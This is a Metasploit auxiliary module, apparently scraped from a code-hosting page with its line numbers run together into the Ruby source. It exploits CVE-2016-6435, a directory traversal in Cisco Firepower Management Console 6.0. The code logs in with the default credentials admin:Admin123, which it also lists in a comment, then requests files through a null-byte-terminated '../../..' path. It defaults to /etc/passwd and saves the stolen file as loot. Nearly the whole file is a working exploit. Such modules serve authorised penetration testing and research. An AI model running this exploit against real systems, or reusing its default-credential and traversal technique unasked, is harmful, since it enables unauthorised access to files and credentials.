Path: blob/master/modules/auxiliary/scanner/http/cisco_firepower_download.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Scanner7include Msf::Auxiliary::Report8include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal",15'Description' => %q{16This module exploits a directory traversal vulnerability in Cisco Firepower Management17under the context of www user. Authentication is required to exploit this vulnerability.18},19'License' => MSF_LICENSE,20'Author' => [21'Matt', # Original discovery && PoC22'sinn3r', # Metasploit module23],24'References' => [25['CVE', '2016-6435'],26['URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking']27],28'DisclosureDate' => '2016-10-10',29'DefaultOptions' => {30'RPORT' => 443,31'SSL' => true,32'SSLVersion' => 'Auto'33},34'Notes' => {35'Reliability' => UNKNOWN_RELIABILITY,36'Stability' => UNKNOWN_STABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38}39)40)4142register_options(43[44# admin:Admin123 is the default credential for 6.0.145OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),46OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),47OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),48OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd'])49]50)51end5253def do_login(ip)54console_user = datastore['USERNAME']55console_pass = datastore['PASSWORD']56uri = normalize_uri(target_uri.path, 'login.cgi')5758print_status("Attempting to login in as #{console_user}:#{console_pass}")5960res = send_request_cgi({61'method' => 'POST',62'uri' => uri,63'vars_post' => {64'username' => console_user,65'password' => console_pass,66'target' => ''67}68})6970unless res71fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')72end7374res_cookie = res.get_cookies75if res.code == 302 && res_cookie.include?('CGISESSID')76cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first77vprint_status("CGI Session ID: #{cgi_sid}")78print_good("Authenticated as #{console_user}:#{console_pass}")79report_cred(ip: ip, user: console_user, password: console_pass)80return cgi_sid81end8283nil84end8586def report_cred(opts)87service_data = {88address: opts[:ip],89port: rport,90service_name: 'cisco',91protocol: 'tcp',92workspace_id: myworkspace_id93}9495credential_data = {96origin_type: :service,97module_fullname: fullname,98username: opts[:user],99private_data: opts[:password],100private_type: :password101}.merge(service_data)102103login_data = {104last_attempted_at: DateTime.now,105core: create_credential(credential_data),106status: Metasploit::Model::Login::Status::SUCCESSFUL,107proof: opts[:proof]108}.merge(service_data)109110create_credential_login(login_data)111end112113def download_file(cgi_sid, file)114file_path = "../../..#{Rex::FileUtils.normalize_unix_path(file)}\x00"115print_status("Requesting: #{file_path}")116send_request_cgi({117'method' => 'GET',118'cookie' => "CGISESSID=#{cgi_sid}",119'uri' => normalize_uri(target_uri.path, 'events/reports/view.cgi'),120'vars_get' => {121'download' => '1',122'files' => file_path123}124})125end126127def remote_file_exists?(res)128(129res.headers['Content-Disposition'] &&130res.headers['Content-Disposition'].match(/attachment; filename=/) &&131res.headers['Content-Type'] &&132res.headers['Content-Type'] == 'application/octet-stream'133)134end135136def save_file(res, ip)137fname = res.headers['Content-Disposition'].scan(/filename=(.+)/).flatten.first || File.basename(datastore['FILEPATH'])138139path = store_loot(140'cisco.https',141'application/octet-stream',142ip,143res.body,144fname145)146147print_good("File saved in: #{path}")148end149150def run_host(ip)151cgi_sid = do_login(ip)152153unless cgi_sid154fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')155end156157res = download_file(cgi_sid, datastore['FILEPATH'])158159if res.nil?160print_error("Connection timed out while downloading: #{datastore['FILEPATH']}")161elsif remote_file_exists?(res)162save_file(res, ip)163else164print_error("Remote file not found: #{datastore['FILEPATH']}")165end166end167end168169170